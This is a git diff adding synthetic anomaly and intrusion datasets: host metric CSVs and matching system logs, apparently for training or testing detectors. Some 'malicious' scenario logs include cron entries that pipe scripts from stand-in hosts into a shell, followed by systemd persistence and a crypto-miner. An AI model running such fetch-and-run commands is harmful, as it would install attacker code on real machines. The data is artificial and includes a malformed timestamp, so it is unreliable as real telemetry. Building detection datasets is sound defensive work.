api.external-service.com: Name or service not known +Jul 02 10:05:48 worker[4654]: WARN DNS lookup failed for api.external-service.com, retrying... +Jul 02 10:05:53 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:03 app[2814]: ERROR failed to connect to api.external-service.com: Name or service not known +Jul 02 10:06:16 systemd[1]: INFO Starting daily cleanup of /tmp... +Jul 02 10:06:16 app[2814]: ERROR failed to connect to api.external-service.com: Name or service not known +Jul 02 10:06:31 worker[4654]: WARN DNS lookup failed for api.external-service.com, retrying... +Jul 02 10:06:41 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:47 worker[4654]: WARN DNS lookup failed for api.external-service.com, retrying... +Jul 02 10:07:01 worker[4654]: WARN DNS lookup failed for api.external-service.com, retrying... +Jul 02 10:07:18 worker[4654]: CRITICAL Could not resolve host: api.external-service.com; Unknown host diff --git a/anom_dataset/scenario_9/anom_9_9.csv b/anom_dataset/scenario_9/anom_9_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..8354fe0ffab5a2e2c119472f2cfa99e8b3696e1a --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T10:00:00Z,13.71,41.07,36.52,1.07,1.02 +2025-07-09T10:00:05Z,14.33,40.6,29.0,0.97,0.81 +2025-07-09T10:00:10Z,13.63,42.07,31.73,1.49,1.14 +2025-07-09T10:00:15Z,15.95,40.03,26.61,0.98,0.79 +2025-07-09T10:00:20Z,15.3,37.17,28.46,1.36,0.71 +2025-07-09T10:00:25Z,14.56,37.9,31.9,1.35,0.99 +2025-07-09T10:00:30Z,10.51,40.73,25.93,1.45,0.75 +2025-07-09T10:00:35Z,14.01,33.11,26.75,0.94,0.41 +2025-07-09T10:00:40Z,15.57,40.9,25.51,1.28,0.74 +2025-07-09T10:00:45Z,13.15,42.79,21.11,1.22,0.88 +2025-07-09T10:00:50Z,15.53,35.92,17.61,1.31,0.84 +2025-07-09T10:00:55Z,18.76,40.22,31.95,0.68,1.01 +2025-07-09T10:01:00Z,17.19,45.91,32.34,0.93,0.86 +2025-07-09T10:01:05Z,17.75,35.97,30.66,1.11,0.65 +2025-07-09T10:01:10Z,19.56,45.27,32.31,1.68,1.05 +2025-07-09T10:01:15Z,16.19,41.55,32.44,1.03,0.87 +2025-07-09T10:01:20Z,18.71,37.89,32.84,1.32,0.68 +2025-07-09T10:01:25Z,15.8,47.91,36.66,1.39,0.83 +2025-07-09T10:01:30Z,14.25,37.93,26.19,1.23,0.48 +2025-07-09T10:01:35Z,16.99,39.09,28.48,1.61,0.81 +2025-07-09T10:01:40Z,16.82,34.72,24.95,1.58,0.84 +2025-07-09T10:01:45Z,14.92,38.34,28.1,1.29,0.87 +2025-07-09T10:01:50Z,15.47,39.33,27.85,1.06,0.73 +2025-07-09T10:01:55Z,12.92,38.2,31.39,1.39,0.95 +2025-07-09T10:02:00Z,12.6,40.78,25.62,1.09,0.93 +2025-07-09T10:02:05Z,15.81,42.75,35.25,1.32,0.82 +2025-07-09T10:02:10Z,13.68,40.77,33.2,1.0,1.05 +2025-07-09T10:02:15Z,15.37,44.44,33.53,1.2,1.04 +2025-07-09T10:02:20Z,17.02,43.11,32.94,1.49,0.83 +2025-07-09T10:02:25Z,16.22,39.81,39.93,1.26,0.84 +2025-07-09T10:02:30Z,15.05,35.67,24.46,0.0,0.02 +2025-07-09T10:02:35Z,16.65,36.84,28.59,0.04,0.03 +2025-07-09T10:02:40Z,12.78,40.69,26.42,0.04,0.03 +2025-07-09T10:02:45Z,15.24,37.86,28.93,0.04,0.02 +2025-07-09T10:02:50Z,13.57,40.05,32.93,0.03,0.04 +2025-07-09T10:02:55Z,16.1,40.7,31.14,0.01,0.01 +2025-07-09T10:03:00Z,12.87,43.5,25.86,0.03,0.01 +2025-07-09T10:03:05Z,16.92,35.56,37.28,0.05,0.01 +2025-07-09T10:03:10Z,18.38,37.56,32.71,0.03,0.04 +2025-07-09T10:03:15Z,16.8,33.13,29.02,0.04,0.01 +2025-07-09T10:03:20Z,13.39,43.74,28.92,0.03,0.03 +2025-07-09T10:03:25Z,12.72,40.99,31.53,0.01,0.04 +2025-07-09T10:03:30Z,15.92,38.95,36.35,0.03,0.03 +2025-07-09T10:03:35Z,13.87,36.77,27.31,0.01,0.01 +2025-07-09T10:03:40Z,14.97,43.02,30.06,0.03,0.01 +2025-07-09T10:03:45Z,14.11,39.03,26.83,0.03,0.0 +2025-07-09T10:03:50Z,16.82,42.97,28.96,0.03,0.02 +2025-07-09T10:03:55Z,12.2,38.72,30.82,0.04,0.01 +2025-07-09T10:04:00Z,14.67,40.46,27.61,0.02,0.04 +2025-07-09T10:04:05Z,15.11,33.79,26.78,0.03,0.0 +2025-07-09T10:04:10Z,15.76,42.3,26.7,0.03,0.03 +2025-07-09T10:04:15Z,13.25,44.2,22.45,0.01,0.02 +2025-07-09T10:04:20Z,12.42,43.96,30.24,0.01,0.03 +2025-07-09T10:04:25Z,17.62,36.33,28.96,0.03,0.01 +2025-07-09T10:04:30Z,15.39,35.25,25.44,0.0,0.03 +2025-07-09T10:04:35Z,13.71,45.34,32.46,0.02,0.03 +2025-07-09T10:04:40Z,17.23,38.41,26.8,0.02,0.03 +2025-07-09T10:04:45Z,14.62,41.02,28.51,0.04,0.04 +2025-07-09T10:04:50Z,17.48,39.53,23.55,0.03,0.02 +2025-07-09T10:04:55Z,15.7,37.67,30.33,0.01,0.0 +2025-07-09T10:05:00Z,14.42,41.69,35.66,1.25,0.98 +2025-07-09T10:05:05Z,15.19,38.02,32.46,1.05,0.74 +2025-07-09T10:05:10Z,11.21,40.68,37.43,0.82,0.75 +2025-07-09T10:05:15Z,12.74,41.49,28.45,1.38,1.08 +2025-07-09T10:05:20Z,14.33,44.72,31.83,1.11,0.71 +2025-07-09T10:05:25Z,12.73,40.36,22.84,0.75,1.24 +2025-07-09T10:05:30Z,14.06,36.23,24.43,0.86,0.75 +2025-07-09T10:05:35Z,13.87,39.91,24.17,0.8,0.93 +2025-07-09T10:05:40Z,15.4,37.21,27.58,1.07,1.11 +2025-07-09T10:05:45Z,13.65,31.41,31.87,1.03,0.5 +2025-07-09T10:05:50Z,13.59,45.01,38.15,1.22,0.58 +2025-07-09T10:05:55Z,14.78,40.67,30.4,1.17,1.02 +2025-07-09T10:06:00Z,16.06,34.65,36.8,1.22,0.48 +2025-07-09T10:06:05Z,16.72,37.9,33.64,0.67,0.68 +2025-07-09T10:06:10Z,17.66,40.11,24.78,1.66,1.04 +2025-07-09T10:06:15Z,14.55,45.87,31.9,0.71,1.09 +2025-07-09T10:06:20Z,15.62,40.26,34.63,1.44,1.15 +2025-07-09T10:06:25Z,16.33,36.63,27.02,1.18,0.9 +2025-07-09T10:06:30Z,14.22,38.73,27.46,1.02,0.89 +2025-07-09T10:06:35Z,16.7,38.88,33.78,1.1,1.11 +2025-07-09T10:06:40Z,13.69,36.43,37.67,1.31,0.68 +2025-07-09T10:06:45Z,14.15,39.6,22.64,1.48,0.96 +2025-07-09T10:06:50Z,14.51,38.82,27.71,1.29,0.82 +2025-07-09T10:06:55Z,15.36,34.09,33.9,0.9,0.79 +2025-07-09T10:07:00Z,13.48,39.83,29.67,1.12,0.83 +2025-07-09T10:07:05Z,16.36,33.74,26.05,1.63,1.0 +2025-07-09T10:07:10Z,19.53,37.52,33.31,1.27,1.09 +2025-07-09T10:07:15Z,18.17,37.91,23.44,1.71,0.87 +2025-07-09T10:07:20Z,13.97,41.66,37.91,1.61,0.87 +2025-07-09T10:07:25Z,13.3,41.55,32.93,1.18,0.98 diff --git a/anom_dataset/scenario_9/anom_9_9.log b/anom_dataset/scenario_9/anom_9_9.log new file mode 100644 index 0000000000000000000000000000000000000000..a14f16966fa12fababe7e67f6e9f98c9e9e1c493 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_9.log @@ -0,0 +1,93 @@ +Jul 09 10:00:00 payment-service[2531]: GET /api/v1/user/22 status=200 OK +Jul 09 10:00:05 payment-service[2531]: GET /api/v1/user/16 status=200 OK +Jul 09 10:00:10 payment-service[2531]: GET /api/v1/user/43 status=200 OK +Jul 09 10:00:15 payment-service[2531]: GET /api/v1/user/43 status=200 OK +Jul 09 10:00:20 payment-service[2531]: GET /api/v1/user/22 status=200 OK +Jul 09 10:00:25 payment-service[2531]: GET /api/v1/user/33 status=200 OK +Jul 09 10:00:30 systemd[1]: Starting daily clean up activities... +Jul 09 10:00:35 payment-service[2531]: GET /api/v1/user/14 status=200 OK +Jul 09 10:00:40 payment-service[2531]: GET /api/v1/user/47 status=200 OK +Jul 09 10:00:45 payment-service[2531]: GET /api/v1/user/14 status=200 OK +Jul 09 10:00:50 CRON[4812]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:00:55 payment-service[2531]: GET /api/v1/user/34 status=200 OK +Jul 09 10:01:00 payment-service[2531]: GET /api/v1/user/24 status=200 OK +Jul 09 10:01:05 systemd[1]: Starting daily clean up activities... +Jul 09 10:01:10 payment-service[2531]: GET /api/v1/user/31 status=200 OK +Jul 09 10:01:15 kubelet[1122]: INFO Liveness probe succeeded for pod payment-service-xyz +Jul 09 10:01:15 payment-service[2531]: GET /api/v1/user/27 status=200 OK +Jul 09 10:01:20 payment-service[2531]: GET /api/v1/user/17 status=200 OK +Jul 09 10:01:25 payment-service[2531]: GET /api/v1/user/41 status=200 OK +Jul 09 10:01:30 payment-service[2531]: GET /api/v1/user/31 status=200 OK +Jul 09 10:01:35 payment-service[2531]: GET /api/v1/user/45 status=200 OK +Jul 09 10:01:40 systemd[1]: Starting daily clean up activities... +Jul 09 10:01:45 CRON[4812]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:01:50 payment-service[2531]: GET /api/v1/user/43 status=200 OK +Jul 09 10:01:55 payment-service[2531]: GET /api/v1/user/48 status=200 OK +Jul 09 10:02:00 payment-service[2531]: GET /api/v1/user/18 status=200 OK +Jul 09 10:02:05 payment-service[2531]: GET /api/v1/user/23 status=200 OK +Jul 09 10:02:10 payment-service[2531]: GET /api/v1/user/18 status=200 OK +Jul 09 10:02:15 systemd[1]: Starting daily clean up activities... +Jul 09 10:02:20 payment-service[2531]: GET /api/v1/user/23 status=200 OK +Jul 09 10:02:25 payment-service[2531]: GET /api/v1/user/26 status=200 OK +Jul 09 10:02:30 payment-service[2531]: ERROR: Failed to resolve host 'api.external.com': Unknown host +Jul 09 10:02:35 payment-service[2531]: ERROR: Connection failed to 'config-server': java.net.UnknownHostException: config-server +Jul 09 10:02:40 payment-service[2531]: ERROR: Connection failed to 'config-server': java.net.UnknownHostException: config-server +Jul 09 10:02:45 payment-service[2531]: ERROR: Failed to resolve host 'api.external.com': Unknown host +Jul 09 10:02:50 payment-service[2531]: ERROR: Failed to resolve host 'api.external.com': Unknown host +Jul 09 10:02:55 payment-service[2531]: WARN: Name or service not known for 'user-database.service.local' +Jul 09 10:03:00 payment-service[2531]: WARN: Name or service not known for 'user-database.service.local' +Jul 09 10:03:05 payment-service[2531]: ERROR: Connection failed to 'config-server': java.net.UnknownHostException: config-server +Jul 09 10:03:10 payment-service[2531]: ERROR: Failed to resolve host 'api.external.com': Unknown host +Jul 09 10:03:15 payment-service[2531]: ERROR: Connection failed to 'config-server': java.net.UnknownHostException: config-server +Jul 09 10:03:20 payment-service[2531]: ERROR: Failed to resolve host 'api.external.com': Unknown host +Jul 09 10:03:25 payment-service[2531]: ERROR: Connection failed to 'config-server': java.net.UnknownHostException: config-server +Jul 09 10:03:30 payment-service[2531]: ERROR: Connection failed to 'config-server': java.net.UnknownHostException: config-server +Jul 09 10:03:35 payment-service[2531]: ERROR: Failed to resolve host 'api.external.com': Unknown host +Jul 09 10:03:45 systemd[1]: Started Session 123 of user root. +Jul 09 10:03:40 payment-service[2531]: ERROR: Failed to resolve host 'api.external.com': Unknown host +Jul 09 10:03:45 payment-service[2531]: ERROR: Failed to resolve host 'api.external.com': Unknown host +Jul 09 10:03:50 payment-service[2531]: ERROR: Connection failed to 'config-server': java.net.UnknownHostException: config-server +Jul 09 10:03:55 payment-service[2531]: ERROR: Failed to resolve host 'api.external.com': Unknown host +Jul 09 10:04:00 payment-service[2531]: ERROR: Failed to resolve host 'api.external.com': Unknown host +Jul 09 10:04:05 payment-service[2531]: WARN: Name or service not known for 'user-database.service.local' +Jul 09 10:04:10 payment-service[2531]: WARN: Name or service not known for 'user-database.service.local' +Jul 09 10:04:15 payment-service[2531]: ERROR: Failed to resolve host 'api.external.com': Unknown host +Jul 09 10:04:20 payment-service[2531]: ERROR: Connection failed to 'config-server': java.net.UnknownHostException: config-server +Jul 09 10:04:25 payment-service[2531]: ERROR: Failed to resolve host 'api.external.com': Unknown host +Jul 09 10:04:30 payment-service[2531]: WARN: Name or service not known for 'user-database.service.local' +Jul 09 10:04:35 payment-service[2531]: WARN: Name or service not known for 'user-database.service.local' +Jul 09 10:04:40 payment-service[2531]: WARN: Name or service not known for 'user-database.service.local' +Jul 09 10:04:45 payment-service[2531]: WARN: Name or service not known for 'user-database.service.local' +Jul 09 10:04:50 payment-service[2531]: ERROR: Connection failed to 'config-server': java.net.UnknownHostException: config-server +Jul 09 10:04:55 payment-service[2531]: ERROR: Connection failed to 'config-server': java.net.UnknownHostException: config-server +Jul 09 10:05:00 payment-service[2531]: GET /api/v1/user/25 status=200 OK +Jul 09 10:05:05 payment-service[2531]: GET /api/v1/user/38 status=200 OK +Jul 09 10:05:10 CRON[4812]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:05:15 payment-service[2531]: GET /api/v1/user/39 status=200 OK +Jul 09 10:05:20 systemd[1]: Starting daily clean up activities... +Jul 09 10:05:25 payment-service[2531]: GET /api/v1/user/18 status=200 OK +Jul 09 10:05:30 payment-service[2531]: GET /api/v1/user/47 status=200 OK +Jul 09 10:05:35 payment-service[2531]: GET /api/v1/user/43 status=200 OK +Jul 09 10:05:40 payment-service[2531]: GET /api/v1/user/12 status=200 OK +Jul 09 10:05:45 payment-service[2531]: GET /api/v1/user/23 status=200 OK +Jul 09 10:05:50 payment-service[2531]: GET /api/v1/user/13 status=200 OK +Jul 09 10:05:55 systemd[1]: Starting daily clean up activities... +Jul 09 10:06:00 payment-service[2531]: GET /api/v1/user/48 status=200 OK +Jul 09 10:06:05 CRON[4812]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:06:10 payment-service[2531]: GET /api/v1/user/24 status=200 OK +Jul 09 10:06:15 payment-service[2531]: GET /api/v1/user/47 status=200 OK +Jul 09 10:06:20 payment-service[2531]: GET /api/v1/user/32 status=200 OK +Jul 09 10:06:25 payment-service[2531]: GET /api/v1/user/22 status=200 OK +Jul 09 10:06:40 kubelet[1122]: INFO Readiness probe succeeded for pod payment-service-xyz +Jul 09 10:06:30 systemd[1]: Starting daily clean up activities... +Jul 09 10:06:35 payment-service[2531]: GET /api/v1/user/24 status=200 OK +Jul 09 10:06:40 payment-service[2531]: GET /api/v1/user/33 status=200 OK +Jul 09 10:06:45 payment-service[2531]: GET /api/v1/user/10 status=200 OK +Jul 09 10:06:50 payment-service[2531]: GET /api/v1/user/43 status=200 OK +Jul 09 10:06:55 payment-service[2531]: GET /api/v1/user/37 status=200 OK +Jul 09 10:07:00 CRON[4812]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:07:05 systemd[1]: Starting daily clean up activities... +Jul 09 10:07:10 payment-service[2531]: GET /api/v1/user/24 status=200 OK +Jul 09 10:07:15 payment-service[2531]: GET /api/v1/user/42 status=200 OK +Jul 09 10:07:20 payment-service[2531]: GET /api/v1/user/16 status=200 OK +Jul 09 10:07:25 payment-service[2531]: GET /api/v1/user/19 status=200 OK diff --git a/mali_dataset/scenario_1/mali_1_1.csv b/mali_dataset/scenario_1/mali_1_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..5f479bac5ad14db527ee4ea598256314cf0f9598 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,21.38,38.5,21.49,1.46,1.66 +2025-08-15T10:00:05Z,24.64,41.06,28.25,0.71,1.13 +2025-08-15T10:00:10Z,20.2,40.11,31.15,1.4,1.1 +2025-08-15T10:00:15Z,21.71,39.88,31.62,1.07,1.56 +2025-08-15T10:00:20Z,19.25,39.24,32.05,1.27,1.43 +2025-08-15T10:00:25Z,17.01,38.26,33.77,0.82,1.65 +2025-08-15T10:00:30Z,22.35,41.72,27.93,0.88,1.73 +2025-08-15T10:00:35Z,19.38,38.06,21.07,1.0,1.78 +2025-08-15T10:00:40Z,23.5,40.55,29.91,1.11,1.22 +2025-08-15T10:00:45Z,18.45,39.71,31.31,1.47,1.04 +2025-08-15T10:00:50Z,18.11,38.32,27.35,1.3,1.19 +2025-08-15T10:00:55Z,18.05,41.28,27.06,0.96,1.65 +2025-08-15T10:01:00Z,16.03,40.84,20.37,1.29,1.56 +2025-08-15T10:01:05Z,22.43,38.94,21.96,1.05,1.01 +2025-08-15T10:01:10Z,17.02,38.71,22.47,0.69,1.28 +2025-08-15T10:01:15Z,16.9,41.28,21.71,1.1,1.6 +2025-08-15T10:01:20Z,17.95,38.73,20.22,1.14,1.07 +2025-08-15T10:01:25Z,20.47,38.2,25.44,1.05,1.06 +2025-08-15T10:01:30Z,15.87,40.42,21.29,0.95,1.23 +2025-08-15T10:01:35Z,17.51,38.67,29.28,1.25,1.25 +2025-08-15T10:01:40Z,19.22,39.33,20.63,0.73,1.25 +2025-08-15T10:01:45Z,17.57,38.21,30.64,0.9,0.87 +2025-08-15T10:01:50Z,20.64,41.9,23.82,0.56,1.16 +2025-08-15T10:01:55Z,17.16,40.99,20.99,0.91,1.33 +2025-08-15T10:02:00Z,19.51,40.62,21.52,0.7,1.39 +2025-08-15T10:02:05Z,17.46,40.15,24.34,0.94,0.91 +2025-08-15T10:02:10Z,23.7,40.13,22.71,0.52,1.49 +2025-08-15T10:02:15Z,20.35,38.15,20.96,1.47,1.76 +2025-08-15T10:02:20Z,15.92,39.17,24.89,1.26,1.67 +2025-08-15T10:02:25Z,18.49,41.91,33.91,1.19,0.89 +2025-08-15T10:02:30Z,26.46,41.53,9.38,0.48,2.35 +2025-08-15T10:02:35Z,26.06,42.08,12.04,0.75,2.08 +2025-08-15T10:02:40Z,30.79,40.34,8.15,0.25,2.31 +2025-08-15T10:02:45Z,31.21,40.41,6.73,0.35,2.9 +2025-08-15T10:02:50Z,33.21,44.75,13.44,0.6,2.33 +2025-08-15T10:02:55Z,36.56,43.85,12.15,0.75,2.33 +2025-08-15T10:03:00Z,39.42,40.3,10.44,0.47,2.19 +2025-08-15T10:03:05Z,43.02,43.16,8.08,0.2,2.23 +2025-08-15T10:03:10Z,42.69,41.79,10.92,0.26,2.38 +2025-08-15T10:03:15Z,47.88,40.53,9.81,0.34,2.94 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+2025-08-15T10:06:40Z,97.64,43.72,9.32,0.34,2.93 +2025-08-15T10:06:45Z,97.02,43.27,8.93,0.31,2.76 +2025-08-15T10:06:50Z,97.67,45.98,7.96,0.26,2.39 +2025-08-15T10:06:55Z,97.91,42.71,9.85,0.41,2.74 +2025-08-15T10:07:00Z,96.43,43.04,7.57,0.34,2.66 +2025-08-15T10:07:05Z,97.34,45.64,9.23,0.42,2.71 +2025-08-15T10:07:10Z,98.64,44.46,8.68,0.47,3.19 +2025-08-15T10:07:15Z,98.62,42.69,7.76,0.56,2.39 +2025-08-15T10:07:20Z,96.18,42.97,7.29,0.4,3.07 +2025-08-15T10:07:25Z,99.48,43.23,8.89,0.49,2.49 diff --git a/mali_dataset/scenario_1/mali_1_1.log b/mali_dataset/scenario_1/mali_1_1.log new file mode 100644 index 0000000000000000000000000000000000000000..9fa8db7be6c44506379ef905f03e6e37322c82f0 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_1.log @@ -0,0 +1,15 @@ +Aug 15 10:00:05 systemd[1]: Started Session 5 of user admin. +Aug 15 10:00:15 sshd[11532]: Accepted publickey for admin from 10.0.2.5 port 54321 ssh2 +Aug 15 10:00:40 cron[11590]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Aug 15 10:01:15 kubelet[1234]: INFO Successfully probed container metrics-server +Aug 15 10:01:40 nginx[5432]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:02:05 CRON[18231]: (admin) CMD (curl -s http://some-shady-domain.com/setup.sh | bash) +Aug 15 10:02:25 setup.sh[18235]: downloading required binaries... +Aug 15 10:02:40 setup.sh[18235]: setting up persistence via systemd timer +Aug 15 10:02:55 systemd[1]: Started custom-updater.service. +Aug 15 10:03:10 custom-updater[18250]: Starting crypto-miner process. +Aug 15 10:03:45 kubelet[1234]: INFO routine sync completed for pod api-gateway +Aug 15 10:04:35 kubelet[1234]: INFO routine sync completed for pod api-gateway +Aug 15 10:05:25 systemd[1]: session-5.scope: Succeeded. +Aug 15 10:06:15 kubelet[1234]: INFO routine sync completed for pod api-gateway +Aug 15 10:07:05 kubelet[1234]: INFO routine sync completed for pod api-gateway diff --git a/mali_dataset/scenario_1/mali_1_10.csv b/mali_dataset/scenario_1/mali_1_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..c3c5e633a52bd722bf2d1d6f3b9fc53a0ea80ff0 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16T12:00:00Z,23.15,41.52,11.49,1.36,1.56 +2025-08-16T12:00:05Z,18.84,40.16,18.25,0.81,1.23 +2025-08-16T12:00:10Z,25.33,42.01,13.15,1.5,1.05 +2025-08-16T12:00:15Z,21.71,40.98,15.62,1.17,1.66 +2025-08-16T12:00:20Z,28.25,43.24,12.05,1.37,1.41 +2025-08-16T12:00:25Z,17.41,39.26,17.77,0.72,1.75 +2025-08-16T12:00:30Z,22.95,41.82,14.93,0.98,1.83 +2025-08-16T12:00:35Z,26.43,42.55,11.87,1.21,1.19 +2025-08-16T12:00:40Z,19.91,40.34,16.43,0.68,1.48 +2025-08-16T12:00:45Z,16.88,38.99,19.02,0.55,1.91 +2025-08-16T12:00:50Z,24.03,41.76,12.76,1.04,1.33 +2025-08-16T12:00:55Z,27.12,43.11,10.23,1.45,1.57 +2025-08-16T12:01:00Z,20.59,40.67,14.59,0.91,1.11 +2025-08-16T12:01:05Z,18.32,39.58,18.31,0.84,1.64 +2025-08-16T12:01:10Z,25.19,42.22,12.88,1.11,1.72 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+2025-08-16T12:06:15Z,98.98,48.9,11.01,1.09,3.8 +2025-08-16T12:06:20Z,99.31,49.11,8.33,0.82,3.24 +2025--08-16T12:06:25Z,98.63,48.7,10.88,1.01,3.72 +2025-08-16T12:06:30Z,98.83,48.83,9.66,0.94,3.5 +2025-08-16T12:06:35Z,99.04,48.94,11.35,1.14,3.91 +2025-08-16T12:06:40Z,99.4,49.18,8.18,0.79,3.19 +2025-08-16T12:06:45Z,98.72,48.76,10.75,1.05,3.77 +2025-08-16T12:06:50Z,98.91,48.86,9.75,0.91,3.6 +2025-08-16T12:06:55Z,99.12,49.0,11.25,1.11,3.84 +2025-08-16T12:07:00Z,99.51,49.25,8.08,0.75,3.17 +2025-08-16T12:07:05Z,98.88,48.84,10.63,1.07,3.65 +2025-08-16T12:07:10Z,99.01,48.92,9.88,0.9,3.58 +2025-08-16T12:07:15Z,99.23,49.03,11.05,1.1,3.82 +2025-08-16T12:07:20Z,99.6,49.3,8.21,0.81,3.2 +2025-08-16T12:07:25Z,98.95,48.89,10.92,1.02,3.74 \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_10.log b/mali_dataset/scenario_1/mali_1_10.log new file mode 100644 index 0000000000000000000000000000000000000000..2044b9c1cb699c15998ae516073a0100b5d6676f --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_10.log @@ -0,0 +1,16 @@ +Aug 16 12:00:08 server-db-1 systemd[1]: Starting Cleanup of Temporary Directories... +Aug 16 12:00:09 server-db-1 systemd[1]: Started Session 12 of user root. +Aug 16 12:00:15 server-db-1 sshd[2318]: Accepted password for root from 192.168.1.10 port 49876 ssh2 +Aug 16 12:00:45 server-db-1 cron[1190]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Aug 16 12:01:05 server-db-1 kubelet[1234]: INFO Successfully probed container api-server +Aug 16 12:01:30 server-db-1 CRON[3451]: (root) CMD (curl -fsSL http://malicious-source-repo.net/install.sh | sh) +Aug 16 12:01:55 server-db-1 install.sh[3455]: Downloading required binaries from remote source... +Aug 16 12:02:05 server-db-1 install.sh[3455]: Setting up persistence via systemd service 'kworker-daemon'. +Aug 16 12:02:15 server-db-1 systemd[1]: Reloading. +Aug 16 12:02:25 server-db-1 systemd[1]: Started kworker-daemon.service. +Aug 16 12:02:40 server-db-1 kworker-daemon[3478]: Starting background compute process. +Aug 16 12:03:10 server-db-1 sshd[2318]: client_loop: send disconnect: Broken pipe +Aug 16 12:04:15 server-db-1 systemd[1]: Starting Daily apt download activities... +Aug 16 12:05:00 server-db-1 nginx[876]: GET /healthz HTTP/1.1 200 OK +Aug 16 12:06:20 server-db-1 CRON[4102]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )) +Aug 16 12:07:05 server-db-1 kubelet[1234]: INFO Container readiness probe for pod 'database-2' succeeded. \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_11.csv b/mali_dataset/scenario_1/mali_1_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..4519e08ff42b268aef2501a75873967c0d611c6b --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-20T08:00:00Z,15.21,35.11,8.43,1.12,1.34 +2025-08-20T08:00:05Z,18.94,36.02,7.19,0.98,1.01 +2025-08-20T08:00:10Z,14.73,34.98,9.01,1.05,1.29 +2025-08-20T08:00:15Z,21.05,37.15,6.55,1.31,1.52 +2025-08-20T08:00:20Z,16.82,35.81,8.12,0.89,1.18 +2025-08-20T08:00:25Z,19.33,36.44,7.83,1.24,1.41 +2025-08-20T08:00:30Z,13.98,34.52,9.87,0.76,1.09 +2025-08-20T08:00:35Z,22.41,37.89,6.11,1.45,1.66 +2025-08-20T08:00:40Z,17.56,36.18,8.59,0.91,1.25 +2025-08-20T08:00:45Z,20.11,36.91,7.42,1.18,1.38 +2025-08-20T08:00:50Z,15.83,35.43,9.21,0.81,1.15 +2025-08-20T08:00:55Z,23.18,38.21,5.98,1.52,1.71 +2025-08-20T08:01:00Z,18.29,36.75,8.03,0.99,1.31 +2025-08-20T08:01:05Z,16.45,35.76,8.89,0.85,1.22 +2025-08-20T08:01:10Z,20.88,37.33,7.01,1.28,1.48 +2025-08-20T08:01:15Z,17.91,36.49,8.34,0.95,1.28 +2025-08-20T08:01:20Z,22.01,37.95,6.43,1.39,1.61 +2025-08-20T08:01:25Z,18.57,36.88,7.95,1.03,1.35 +2025-08-20T08:01:30Z,24.13,38.55,5.81,1.59,1.78 +2025-08-20T08:01:35Z,21.59,37.77,6.89,1.15,1.44 +2025-08-20T08:01:40Z,25.33,38.99,5.76,1.66,1.82 +2025-08-20T08:01:45Z,32.76,39.15,5.54,1.21,2.81 +2025-08-20T08:01:50Z,40.11,39.88,5.32,1.18,2.95 +2025-08-20T08:01:55Z,48.93,40.54,5.18,1.15,3.01 +2025-08-20T08:02:00Z,56.24,41.21,5.01,1.12,3.15 +2025-08-20T08:02:05Z,63.88,41.99,4.89,1.09,3.22 +2025-08-20T08:02:10Z,70.32,42.67,4.75,1.06,3.31 +2025-08-20T08:02:15Z,76.99,43.41,4.63,1.03,3.45 +2025-08-20T08:02:20Z,82.05,44.18,4.51,1.01,3.52 +2025-08-20T08:02:25Z,87.73,44.87,4.39,0.98,3.61 +2025-08-20T08:02:30Z,91.19,45.55,4.28,0.96,3.75 +2025-08-20T08:02:35Z,93.56,46.13,4.17,0.94,3.82 +2025-08-20T08:02:40Z,94.88,46.81,4.09,0.92,3.91 +2025-08-20T08:02:45Z,96.03,47.32,4.01,0.9,3.99 +2025-08-20T08:02:50Z,95.77,47.11,4.15,0.91,3.95 +2025-08-20T08:02:55Z,96.21,47.54,3.98,0.89,4.03 +2025-08-20T08:03:00Z,97.03,47.98,3.91,0.88,4.11 +2025-08-20T08:03:05Z,95.94,47.39,4.05,0.89,4.01 +2025-08-20T08:03:10Z,96.85,47.81,3.88,0.87,4.15 +2025-08-20T08:03:15Z,97.58,48.22,3.82,0.86,4.21 +2025-08-20T08:03:20Z,98.12,48.51,3.79,0.85,4.28 +2025-08-20T08:03:25Z,97.93,48.34,3.81,0.85,4.25 +2025-08-20T08:03:30Z,98.88,48.91,3.75,0.84,4.33 +2025-08-20T08:03:35Z,98.01,48.42,3.78,0.85,4.27 +2025-08-20T08:03:40Z,98.24,48.61,3.76,0.84,4.31 +2025-08-20T08:03:45Z,97.64,48.21,3.8,0.85,4.26 +2025-08-20T08:03:50Z,98.53,48.77,3.74,0.83,4.35 +2025-08-20T08:03:55Z,97.99,48.39,3.79,0.84,4.29 +2025-08-20T08:04:00Z,98.41,48.69,3.75,0.83,4.34 +2025-08-20T08:04:05Z,98.08,48.45,3.77,0.84,4.28 +2025-08-20T08:04:10Z,98.67,48.83,3.73,0.83,4.36 +2025-08-20T08:04:15Z,97.81,48.31,3.79,0.85,4.24 +2025-08-20T08:04:20Z,98.15,48.55,3.76,0.84,4.3 +2025-08-20T08:04:25Z,98.39,48.66,3.74,0.83,4.32 